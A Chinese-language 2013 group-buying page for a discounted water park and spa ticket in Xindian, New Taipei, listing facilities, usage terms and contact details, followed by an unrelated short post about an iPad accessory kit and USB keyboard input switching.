3.6折!只要109元,即可享有原價300元【大新店親水樂園活水養生館】玩水清涼樂〈含室內外大型泳泳池、大型戶外滑水道、兒童戲水泳池、各式養生溫泉池、水療spa衝擊區、超音波按摩池、烤箱、蒸氣室、冷泉、餐飲休息區、部分免費電玩區、健身房區等,一票玩到底〉
2013-06-13 /分享賺50元麻吉券 即日起可用
團購特價
$109
馬上購買
  • 原價 $300
  • 節省 $191
  • 3847 份已販售 團購已成功,可繼續購買
預計剩餘
04 小時 58 分 47 秒
3.6折
  1. 人氣最旺泳池育樂休閒世界,百萬重金打造最新水上漂浮設施,等麻吉來玩耍!
  2. 佔地2000坪超大游泳池、水療SPA、三溫暖,宛若沉浸水世界享受,樂趣無窮!
  3. 提供安全、健康、歡樂、最好游泳設施,專業救生員熱情服務,放心悠游其中!
  4. 今年夏天為麻吉隆重推出「空中水舞三重奏」、「舞動華爾茲」全新活動設施!
  1. 優惠期間為 2013 年 6 月 13 日 至 2013 年 8 月 31 日,不需提前預約,到店時請告知 須使用兌換券,否則恕無法提供服務,敬請配合
  2. 平假日皆可使用
  3. 每人限下單一次,限購 20 張,不限本人使用
  4. 本優惠限單人使用
  5. 本優惠不得與其他優惠合併使用,恕無法兌換現金及找零,為保障您的權益,請務必持手機簡訊或列印email兌換券到店使用,如非本人到店消費,需留親筆簽名,以示消費此兌換券
  6. 兌換券逾期未使用可辦理退費(票券類則依該檔次之退費規範辦理),詳見「退費說明」。
★交通位置★

團購特價
$109
馬上購買

適用分店或種類

地址:新北市新店區環河路112-1號 地圖
電話:(02)2913-3840
營業時間:週一至週日 5:00~23:00

買了ipad附件

http://goods.ruten.com.tw/item/show?21108121903323


超商取貨,可以外接USB鍵盤、數位相機、將影像輸出到HDMI。

連同運費手續費一共680。

測試USB鍵盤會出現不支援訊息,但是還是可以正常使用,只是要習慣有別於Windows的輸入方式。

輸入法切換:Windows key + Space